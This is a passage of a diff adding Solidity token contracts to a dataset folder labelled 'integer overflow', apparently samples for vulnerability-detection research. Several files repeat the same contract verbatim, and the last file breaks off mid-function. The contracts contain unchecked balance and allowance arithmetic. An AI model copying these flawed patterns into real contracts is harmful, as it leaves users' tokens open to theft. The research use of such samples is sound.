mapping (address => uint256) public balances; + mapping (address => mapping (address => uint256)) public allowed; + + string public name; + uint8 public decimals; + string public symbol; + + function TestCoin( + + ) public { + balances[msg.sender] = 10*10**26; + totalSupply = 10*10**26; + name = "LHJT"; + decimals = 18; + symbol = "LHJT"; + } + + function transfer(address _to, uint256 _value) public returns (bool success) { + require(balances[msg.sender] >= _value); + balances[msg.sender] -= _value; + balances[_to] += _value; + emit Transfer(msg.sender, _to, _value); + return true; + } + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { + uint256 allowance = allowed[_from][msg.sender]; + require(balances[_from] >= _value && allowance >= _value); + balances[_to] += _value; + balances[_from] -= _value; + if (allowance < MAX_UINT256) { + allowed[_from][msg.sender] -= _value; + } + emit Transfer(_from, _to, _value); + return true; + } + + function balanceOf(address _owner) public view returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) public returns (bool success) { + allowed[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) public view returns (uint256 remaining) { + return allowed[_owner][_spender]; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/integer overflow/130.sol b/smart_contract_dataset/integer overflow/130.sol new file mode 100644 index 0000000000000000000000000000000000000000..b7b711f74d06588735bdd49b5242037746ba7e80 --- /dev/null +++ b/smart_contract_dataset/integer overflow/130.sol @@ -0,0 +1,115 @@ +pragma solidity ^0.4.10; + + +contract SafeMath { + function safeAdd(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x + y; + assert((z >= x) && (z >= y)); + return z; + } + + function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { + assert(x >= y); + uint256 z = x - y; + return z; + } + + function safeMult(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x * y; + assert((x == 0)||(z/x == y)); + return z; + } + +} + +contract Token { + uint256 public totalSupply; + function balanceOf(address _owner) constant returns (uint256 balance); + function transfer(address _to, uint256 _value) returns (bool success); + function transferFrom(address _from, address _to, uint256 _value) returns (bool success); + function approve(address _spender, uint256 _value) returns (bool success); + function allowance(address _owner, address _spender) constant returns (uint256 remaining); + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); + +} + + + +contract StandardToken is Token , SafeMath { + + bool public status = true; + modifier on() { + require(status == true); + _; + } + + function transfer(address _to, uint256 _value) on returns (bool success) { + if (balances[msg.sender] >= _value && _value > 0 && _to != 0X0) { + balances[msg.sender] -= _value; + balances[_to] = safeAdd(balances[_to],_value); + Transfer(msg.sender, _to, _value); + return true; + } else { + return false; + } + } + + function transferFrom(address _from, address _to, uint256 _value) on returns (bool success) { + if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { + balances[_to] = safeAdd(balances[_to],_value); + balances[_from] = safeSubtract(balances[_from],_value); + allowed[_from][msg.sender] = safeSubtract(allowed[_from][msg.sender],_value); + Transfer(_from, _to, _value); + return true; + } else { + return false; + } + } + + function balanceOf(address _owner) on constant returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) on returns (bool success) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) on constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; +} + + + + +contract ExShellToken is StandardToken { + string public name = "ExShellToken"; + uint8 public decimals = 8; + string public symbol = "ET"; + bool private init =true; + function turnon() controller { + status = true; + } + function turnoff() controller { + status = false; + } + function ExShellToken() { + require(init==true); + totalSupply = 2000000000; + balances[0xa089a405b1df71a6155705fb2bce87df2a86a9e4] = totalSupply; + init = false; + } + address public controller1 =0xa089a405b1df71a6155705fb2bce87df2a86a9e4; + address public controller2 =0x5aa64423529e43a53c7ea037a07f94abc0c3a111; + + modifier controller () { + require(msg.sender == controller1||msg.sender == controller2); + _; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/integer overflow/143.sol b/smart_contract_dataset/integer overflow/143.sol new file mode 100644 index 0000000000000000000000000000000000000000..b7b711f74d06588735bdd49b5242037746ba7e80 --- /dev/null +++ b/smart_contract_dataset/integer overflow/143.sol @@ -0,0 +1,115 @@ +pragma solidity ^0.4.10; + + +contract SafeMath { + function safeAdd(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x + y; + assert((z >= x) && (z >= y)); + return z; + } + + function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { + assert(x >= y); + uint256 z = x - y; + return z; + } + + function safeMult(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x * y; + assert((x == 0)||(z/x == y)); + return z; + } + +} + +contract Token { + uint256 public totalSupply; + function balanceOf(address _owner) constant returns (uint256 balance); + function transfer(address _to, uint256 _value) returns (bool success); + function transferFrom(address _from, address _to, uint256 _value) returns (bool success); + function approve(address _spender, uint256 _value) returns (bool success); + function allowance(address _owner, address _spender) constant returns (uint256 remaining); + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); + +} + + + +contract StandardToken is Token , SafeMath { + + bool public status = true; + modifier on() { + require(status == true); + _; + } + + function transfer(address _to, uint256 _value) on returns (bool success) { + if (balances[msg.sender] >= _value && _value > 0 && _to != 0X0) { + balances[msg.sender] -= _value; + balances[_to] = safeAdd(balances[_to],_value); + Transfer(msg.sender, _to, _value); + return true; + } else { + return false; + } + } + + function transferFrom(address _from, address _to, uint256 _value) on returns (bool success) { + if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { + balances[_to] = safeAdd(balances[_to],_value); + balances[_from] = safeSubtract(balances[_from],_value); + allowed[_from][msg.sender] = safeSubtract(allowed[_from][msg.sender],_value); + Transfer(_from, _to, _value); + return true; + } else { + return false; + } + } + + function balanceOf(address _owner) on constant returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) on returns (bool success) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) on constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; +} + + + + +contract ExShellToken is StandardToken { + string public name = "ExShellToken"; + uint8 public decimals = 8; + string public symbol = "ET"; + bool private init =true; + function turnon() controller { + status = true; + } + function turnoff() controller { + status = false; + } + function ExShellToken() { + require(init==true); + totalSupply = 2000000000; + balances[0xa089a405b1df71a6155705fb2bce87df2a86a9e4] = totalSupply; + init = false; + } + address public controller1 =0xa089a405b1df71a6155705fb2bce87df2a86a9e4; + address public controller2 =0x5aa64423529e43a53c7ea037a07f94abc0c3a111; + + modifier controller () { + require(msg.sender == controller1||msg.sender == controller2); + _; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/integer overflow/1675.sol b/smart_contract_dataset/integer overflow/1675.sol new file mode 100644 index 0000000000000000000000000000000000000000..b7b711f74d06588735bdd49b5242037746ba7e80 --- /dev/null +++ b/smart_contract_dataset/integer overflow/1675.sol @@ -0,0 +1,115 @@ +pragma solidity ^0.4.10; + + +contract SafeMath { + function safeAdd(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x + y; + assert((z >= x) && (z >= y)); + return z; + } + + function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { + assert(x >= y); + uint256 z = x - y; + return z; + } + + function safeMult(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x * y; + assert((x == 0)||(z/x == y)); + return z; + } + +} + +contract Token { + uint256 public totalSupply; + function balanceOf(address _owner) constant returns (uint256 balance); + function transfer(address _to, uint256 _value) returns (bool success); + function transferFrom(address _from, address _to, uint256 _value) returns (bool success); + function approve(address _spender, uint256 _value) returns (bool success); + function allowance(address _owner, address _spender) constant returns (uint256 remaining); + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); + +} + + + +contract StandardToken is Token , SafeMath { + + bool public status = true; + modifier on() { + require(status == true); + _; + } + + function transfer(address _to, uint256 _value) on returns (bool success) { + if (balances[msg.sender] >= _value && _value > 0 && _to != 0X0) { + balances[msg.sender] -= _value; + balances[_to] = safeAdd(balances[_to],_value); + Transfer(msg.sender, _to, _value); + return true; + } else { + return false; + } + } + + function transferFrom(address _from, address _to, uint256 _value) on returns (bool success) { + if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { + balances[_to] = safeAdd(balances[_to],_value); + balances[_from] = safeSubtract(balances[_from],_value); + allowed[_from][msg.sender] = safeSubtract(allowed[_from][msg.sender],_value); + Transfer(_from, _to, _value); + return true; + } else { + return false; + } + } + + function balanceOf(address _owner) on constant returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) on returns (bool success) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) on constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; +} + + + + +contract ExShellToken is StandardToken { + string public name = "ExShellToken"; + uint8 public decimals = 8; + string public symbol = "ET"; + bool private init =true; + function turnon() controller { + status = true; + } + function turnoff() controller { + status = false; + } + function ExShellToken() { + require(init==true); + totalSupply = 2000000000; + balances[0xa089a405b1df71a6155705fb2bce87df2a86a9e4] = totalSupply; + init = false; + } + address public controller1 =0xa089a405b1df71a6155705fb2bce87df2a86a9e4; + address public controller2 =0x5aa64423529e43a53c7ea037a07f94abc0c3a111; + + modifier controller () { + require(msg.sender == controller1||msg.sender == controller2); + _; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/integer overflow/169.sol b/smart_contract_dataset/integer overflow/169.sol new file mode 100644 index 0000000000000000000000000000000000000000..b7b711f74d06588735bdd49b5242037746ba7e80 --- /dev/null +++ b/smart_contract_dataset/integer overflow/169.sol @@ -0,0 +1,115 @@ +pragma solidity ^0.4.10; + + +contract SafeMath { + function safeAdd(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x + y; + assert((z >= x) && (z >= y)); + return z; + } + + function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { + assert(x >= y); + uint256 z = x - y; + return z; + } + + function safeMult(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x * y; + assert((x == 0)||(z/x == y)); + return z; + } + +} + +contract Token { + uint256 public totalSupply; + function balanceOf(address _owner) constant returns (uint256 balance); + function transfer(address _to, uint256 _value) returns (bool success); + function transferFrom(address _from, address _to, uint256 _value) returns (bool success); + function approve(address _spender, uint256 _value) returns (bool success); + function allowance(address _owner, address _spender) constant returns (uint256 remaining); + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); + +} + + + +contract StandardToken is Token , SafeMath { + + bool public status = true; + modifier on() { + require(status == true); + _; + } + + function transfer(address _to, uint256 _value) on returns (bool success) { + if (balances[msg.sender] >= _value && _value > 0 && _to != 0X0) { + balances[msg.sender] -= _value; + balances[_to] = safeAdd(balances[_to],_value); + Transfer(msg.sender, _to, _value); + return true; + } else { + return false; + } + } + + function transferFrom(address _from, address _to, uint256 _value) on returns (bool success) { + if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { + balances[_to] = safeAdd(balances[_to],_value); + balances[_from] = safeSubtract(balances[_from],_value); + allowed[_from][msg.sender] = safeSubtract(allowed[_from][msg.sender],_value); + Transfer(_from, _to, _value); + return true; + } else { + return false; + } + } + + function balanceOf(address _owner) on constant returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) on returns (bool success) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) on constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; +} + + + + +contract ExShellToken is StandardToken { + string public name = "ExShellToken"; + uint8 public decimals = 8; + string public symbol = "ET"; + bool private init =true; + function turnon() controller { + status = true; + } + function turnoff() controller { + status = false; + } + function ExShellToken() { + require(init==true); + totalSupply = 2000000000; + balances[0xa089a405b1df71a6155705fb2bce87df2a86a9e4] = totalSupply; + init = false; + } + address public controller1 =0xa089a405b1df71a6155705fb2bce87df2a86a9e4; + address public controller2 =0x5aa64423529e43a53c7ea037a07f94abc0c3a111; + + modifier controller () { + require(msg.sender == controller1||msg.sender == controller2); + _; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/integer overflow/1690.sol b/smart_contract_dataset/integer overflow/1690.sol new file mode 100644 index 0000000000000000000000000000000000000000..b7b711f74d06588735bdd49b5242037746ba7e80 --- /dev/null +++ b/smart_contract_dataset/integer overflow/1690.sol @@ -0,0 +1,115 @@ +pragma solidity ^0.4.10; + + +contract SafeMath { + function safeAdd(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x + y; + assert((z >= x) && (z >= y)); + return z; + } + + function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { + assert(x >= y); + uint256 z = x - y; + return z; + } + + function safeMult(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x * y; + assert((x == 0)||(z/x == y)); + return z; + } + +} + +contract Token { + uint256 public totalSupply; + function balanceOf(address _owner) constant returns (uint256 balance); + function transfer(address _to, uint256 _value) returns (bool success); + function transferFrom(address _from, address _to, uint256 _value) returns (bool success); + function approve(address _spender, uint256 _value) returns (bool success); + function allowance(address _owner, address _spender) constant returns (uint256 remaining); + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); + +} + + + +contract StandardToken is Token , SafeMath { + + bool public status = true; + modifier on() { + require(status == true); + _; + } + + function transfer(address _to, uint256 _value) on returns (bool success) { + if (balances[msg.sender] >= _value && _value > 0 && _to != 0X0) { + balances[msg.sender] -= _value; + balances[_to] = safeAdd(balances[_to],_value); + Transfer(msg.sender, _to, _value); + return true; + } else { + return false; + } + } + + function transferFrom(address _from, address _to, uint256 _value) on returns (bool success) { + if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { + balances[_to] = safeAdd(balances[_to],_value); + balances[_from] = safeSubtract(balances[_from],_value); + allowed[_from][msg.sender] = safeSubtract(allowed[_from][msg.sender],_value); + Transfer(_from, _to, _value); + return true; + } else { + return false; + } + } + + function balanceOf(address _owner) on constant returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) on returns (bool success) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) on constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; +} + + + + +contract ExShellToken is StandardToken { + string public name = "ExShellToken"; + uint8 public decimals = 8; + string public symbol = "ET"; + bool private init =true; + function turnon() controller { + status = true; + } + function turnoff() controller { + status = false; + } + function ExShellToken() { + require(init==true); + totalSupply = 2000000000; + balances[0xa089a405b1df71a6155705fb2bce87df2a86a9e4] = totalSupply; + init = false; + } + address public controller1 =0xa089a405b1df71a6155705fb2bce87df2a86a9e4; + address public controller2 =0x5aa64423529e43a53c7ea037a07f94abc0c3a111; + + modifier controller () { + require(msg.sender == controller1||msg.sender == controller2); + _; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/integer overflow/1711.sol b/smart_contract_dataset/integer overflow/1711.sol new file mode 100644 index 0000000000000000000000000000000000000000..b7b711f74d06588735bdd49b5242037746ba7e80 --- /dev/null +++ b/smart_contract_dataset/integer overflow/1711.sol @@ -0,0 +1,115 @@ +pragma solidity ^0.4.10; + + +contract SafeMath { + function safeAdd(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x + y; + assert((z >= x) && (z >= y)); + return z; + } + + function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { + assert(x >= y); + uint256 z = x - y; + return z; + } + + function safeMult(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x * y; + assert((x == 0)||(z/x == y)); + return z; + } + +} + +contract Token { + uint256 public totalSupply; + function balanceOf(address _owner) constant returns (uint256 balance); + function transfer(address _to, uint256 _value) returns (bool success); + function transferFrom(address _from, address _to, uint256 _value) returns (bool success); + function approve(address _spender, uint256 _value) returns (bool success); + function allowance(address _owner, address _spender) constant returns (uint256 remaining); + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); + +} + + + +contract StandardToken is Token , SafeMath { + + bool public status = true; + modifier on() { + require(status == true); + _; + } + + function transfer(address _to, uint256 _value) on returns (bool success) { + if (balances[msg.sender] >= _value && _value > 0 && _to != 0X0) { + balances[msg.sender] -= _value; + balances[_to] = safeAdd(balances[_to],_value); + Transfer(msg.sender, _to, _value); + return true; + } else { + return false; + } + } + + function transferFrom(address _from, address _to, uint256 _value) on returns (bool success) { + if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { + balances[_to] = safeAdd(balances[_to],_value); + balances[_from] = safeSubtract(balances[_from],_value); + allowed[_from][msg.sender] = safeSubtract(allowed[_from][msg.sender],_value); + Transfer(_from, _to, _value); + return true; + } else { + return false; + } + } + + function balanceOf(address _owner) on constant returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) on returns (bool success) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) on constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; +} + + + + +contract ExShellToken is StandardToken { + string public name = "ExShellToken"; + uint8 public decimals = 8; + string public symbol = "ET"; + bool private init =true; + function turnon() controller { + status = true; + } + function turnoff() controller { + status = false; + } + function ExShellToken() { + require(init==true); + totalSupply = 2000000000; + balances[0xa089a405b1df71a6155705fb2bce87df2a86a9e4] = totalSupply; + init = false; + } + address public controller1 =0xa089a405b1df71a6155705fb2bce87df2a86a9e4; + address public controller2 =0x5aa64423529e43a53c7ea037a07f94abc0c3a111; + + modifier controller () { + require(msg.sender == controller1||msg.sender == controller2); + _; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/integer overflow/1720.sol b/smart_contract_dataset/integer overflow/1720.sol new file mode 100644 index 0000000000000000000000000000000000000000..b7b711f74d06588735bdd49b5242037746ba7e80 --- /dev/null +++ b/smart_contract_dataset/integer overflow/1720.sol @@ -0,0 +1,115 @@ +pragma solidity ^0.4.10; + + +contract SafeMath { + function safeAdd(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x + y; + assert((z >= x) && (z >= y)); + return z; + } + + function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { + assert(x >= y); + uint256 z = x - y; + return z; + } + + function safeMult(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x * y; + assert((x == 0)||(z/x == y)); + return z; + } + +} + +contract Token { + uint256 public totalSupply; + function balanceOf(address _owner) constant returns (uint256 balance); + function transfer(address _to, uint256 _value) returns (bool success); + function transferFrom(address _from, address _to, uint256 _value) returns (bool success); + function approve(address _spender, uint256 _value) returns (bool success); + function allowance(address _owner, address _spender) constant returns (uint256 remaining); + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); + +} + + + +contract StandardToken is Token , SafeMath { + + bool public status = true; + modifier on() { + require(status == true); + _; + } + + function transfer(address _to, uint256 _value) on returns (bool success) { + if (balances[msg.sender] >= _value && _value > 0 && _to != 0X0) { + balances[msg.sender] -= _value; + balances[_to] = safeAdd(balances[_to],_value); + Transfer(msg.sender, _to, _value); + return true; + } else { + return false; + } + } + + function transferFrom(address _from, address _to, uint256 _value) on returns (bool success) { + if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { + balances[_to] = safeAdd(balances[_to],_value); + balances[_from] = safeSubtract(balances[_from],_value); + allowed[_from][msg.sender] = safeSubtract(allowed[_from][msg.sender],_value); + Transfer(_from, _to, _value); + return true; + } else { + return false; + } + } + + function balanceOf(address _owner) on constant returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) on returns (bool success) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) on constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; +} + + + + +contract ExShellToken is StandardToken { + string public name = "ExShellToken"; + uint8 public decimals = 8; + string public symbol = "ET"; + bool private init =true; + function turnon() controller { + status = true; + } + function turnoff() controller { + status = false; + } + function ExShellToken() { + require(init==true); + totalSupply = 2000000000; + balances[0xa089a405b1df71a6155705fb2bce87df2a86a9e4] = totalSupply; + init = false; + } + address public controller1 =0xa089a405b1df71a6155705fb2bce87df2a86a9e4; + address public controller2 =0x5aa64423529e43a53c7ea037a07f94abc0c3a111; + + modifier controller () { + require(msg.sender == controller1||msg.sender == controller2); + _; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/integer overflow/1735.sol b/smart_contract_dataset/integer overflow/1735.sol new file mode 100644 index 0000000000000000000000000000000000000000..b7b711f74d06588735bdd49b5242037746ba7e80 --- /dev/null +++ b/smart_contract_dataset/integer overflow/1735.sol @@ -0,0 +1,115 @@ +pragma solidity ^0.4.10; + + +contract SafeMath { + function safeAdd(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x + y; + assert((z >= x) && (z >= y)); + return z; + } + + function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { + assert(x >= y); + uint256 z = x - y; + return z; + } + + function safeMult(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x * y; + assert((x == 0)||(z/x == y)); + return z; + } + +} + +contract Token { + uint256 public totalSupply; + function balanceOf(address _owner) constant returns (uint256 balance); + function transfer(address _to, uint256 _value) returns (bool success); + function transferFrom(address _from, address _to, uint256 _value) returns (bool success); + function approve(address _spender, uint256 _value) returns (bool success); + function allowance(address _owner, address _spender) constant returns (uint256 remaining); + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); + +} + + + +contract StandardToken is Token , SafeMath { + + bool public status = true; + modifier on() { + require(status == true); + _; + } + + function transfer(address _to, uint256 _value) on returns (bool success) { + if (balances[msg.sender] >= _value && _value > 0 && _to != 0X0) { + balances[msg.sender] -= _value; + balances[_to] = safeAdd(balances[_to],_value); + Transfer(msg.sender, _to, _value); + return true; + } else { + return false; + } + } + + function transferFrom(address _from, address _to, uint256 _value) on returns (bool success) { + if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { + balances[_to] = safeAdd(balances[_to],_value); + balances[_from] = safeSubtract(balances[_from],_value); + allowed[_from][msg.sender] = safeSubtract(allowed[_from][msg.sender],_value); + Transfer(_from, _to, _value); + return true; + } else { + return false; + } + } + + function balanceOf(address _owner) on constant returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) on returns (bool success) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) on constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; +} + + + + +contract ExShellToken is StandardToken { + string public name = "ExShellToken"; + uint8 public decimals = 8; + string public symbol = "ET"; + bool private init =true; + function turnon() controller { + status = true; + } + function turnoff() controller { + status = false; + } + function ExShellToken() { + require(init==true); + totalSupply = 2000000000; + balances[0xa089a405b1df71a6155705fb2bce87df2a86a9e4] = totalSupply; + init = false; + } + address public controller1 =0xa089a405b1df71a6155705fb2bce87df2a86a9e4; + address public controller2 =0x5aa64423529e43a53c7ea037a07f94abc0c3a111; + + modifier controller () { + require(msg.sender == controller1||msg.sender == controller2); + _; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/integer overflow/1808.sol b/smart_contract_dataset/integer overflow/1808.sol new file mode 100644 index 0000000000000000000000000000000000000000..a4ea87bc99b4064edbd7a7d008a4c1f62f5ea53a --- /dev/null +++ b/smart_contract_dataset/integer overflow/1808.sol @@ -0,0 +1,318 @@ +pragma solidity ^0.4.21; + + + +library SafeMath { + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + uint256 c = a / b; + + return c; + } + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } +} + + + +contract Ownable { + address public owner; + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function transferOwnership(address newOwner) public onlyOwner { + if (newOwner != address(0)) { + owner = newOwner; + } + } +} + + + +contract ERC20Basic { + uint256 public totalSupply; + function balanceOf(address who) public constant returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + +contract BasicToken is ERC20Basic { + using SafeMath for uint256; + mapping(address => uint256) balances; + + + function transfer(address _to, uint256 _value) public returns (bool) { + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + return true; + } + + + function balanceOf(address _owner) public constant returns (uint256 balance) { + return balances[_owner]; + } +} + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public constant returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + + +contract StandardToken is ERC20, BasicToken { + mapping (address => mapping (address => uint256)) allowed; + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { + uint256 _allowance = allowed[_from][msg.sender]; + + + + + balances[_to] = balances[_to].add(_value); + balances[_from] = balances[_from].sub(_value); + allowed[_from][msg.sender] = _allowance.sub(_value); + return true; + } + + function approve(address _spender, uint256 _value) public returns (bool) { + + + + + require((_value == 0) || (allowed[msg.sender][_spender] == 0)); + + allowed[msg.sender][_spender] = _value; + return true; + } + + + function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } +} + + + +contract ZXCToken is StandardToken, Ownable { + using SafeMath for uint256; + + + string public constant NAME = "0XCoin"; + string public constant SYMBOL = "0XC"; + uint8 public constant DECIMALS = 18; + + + uint256 public startDate1; + uint256 public endDate1; + + + uint256 public startDate2; + uint256 public endDate2; + + + uint256 public saleCap; + + + address public tokenWallet; + + + address public fundWallet; + + + uint256 public weiRaised; + + + event TokenPurchase(address indexed purchaser, uint256 value, uint256 amount); + + + modifier uninitialized() { + require(tokenWallet == 0x0); + require(fundWallet == 0x0); + _; + } + + constructor() public {} + + + function () public payable { + buyTokens(msg.sender, msg.value); + } + + function getDate() public view returns(uint256 _date) { + _date = getCurrentTimestamp(); + } + + + function initialize(address _tokenWallet, address _fundWallet, uint256 _start1, uint256 _end1, + uint256 _saleCap, uint256 _totalSupply) public + onlyOwner uninitialized { + + require(_start1 < _end1); + require(_tokenWallet != 0x0); + require(_fundWallet != 0x0); + require(_totalSupply >= _saleCap); + + startDate1 = _start1; + endDate1 = _end1; + saleCap = _saleCap; + tokenWallet = _tokenWallet; + fundWallet = _fundWallet; + totalSupply = _totalSupply; + + balances[tokenWallet] = saleCap; + balances[0xb1] = _totalSupply.sub(saleCap); + } + + + function setPeriod(uint period, uint256 _start, uint256 _end) public onlyOwner { + require(_end > _start); + if (period == 1) { + startDate1 = _start; + endDate1 = _end; + }else if (period == 2) { + require(_start > endDate1); + startDate2 = _start; + endDate2 = _end; + } + } + + + function sendForPreICO(address buyer, uint256 amount) public onlyOwner { + require(saleCap >= amount); + + saleCap = saleCap - amount; + + balances[tokenWallet] = balances[tokenWallet].sub(amount); + balances[buyer] = balances[buyer].add(amount); + } + + + function setSaleCap(uint256 _saleCap) public onlyOwner { + require(balances[0xb1].add(balances[tokenWallet]).sub(_saleCap) > 0); + uint256 amount=0; + + if (balances[tokenWallet] > _saleCap) { + amount = balances[tokenWallet].sub(_saleCap); + balances[0xb1] = balances[0xb1].add(amount); + } else { + amount = _saleCap.sub(balances[tokenWallet]); + balances[0xb1] = balances[0xb1].sub(amount); + } + balances[tokenWallet] = _saleCap; + saleCap = _saleCap; + } + + + function getBonusByTime(uint256 atTime) public constant returns (uint256) { + if (atTime < startDate1) { + return 0; + } else if (endDate1 > atTime && atTime > startDate1) { + return 5000; + } else if (endDate2 > atTime && atTime > startDate2) { + return 2500; + } else { + return 0; + } + } + + function getBounsByAmount(uint256 etherAmount, uint256 tokenAmount) public pure returns (uint256) { + + uint256 bonusRatio = etherAmount.div(500 ether); + if (bonusRatio > 4) { + bonusRatio = 4; + } + uint256 bonusCount = SafeMath.mul(bonusRatio, 10); + uint256 bouns = SafeMath.mul(tokenAmount, bonusCount); + uint256 realBouns = SafeMath.div(bouns, 100); + return realBouns; + } + + + function finalize() public onlyOwner { + require(!saleActive()); + + + balances[tokenWallet] = balances[tokenWallet].add(balances[0xb1]); + balances[0xb1] = 0; + } + + + function saleActive() public constant returns (bool) { + return ( + (getCurrentTimestamp() >= startDate1 && + getCurrentTimestamp() < endDate1 && saleCap > 0) || + (getCurrentTimestamp() >= startDate2 && + getCurrentTimestamp() < endDate2 && saleCap > 0) + ); + } + + + function getCurrentTimestamp() internal view returns (uint256) { + return now; + } + + + function buyTokens(address sender, uint256 value) internal { + + require(saleActive()); + + + require(value >= 0.5 ether); + + + uint256 bonus = 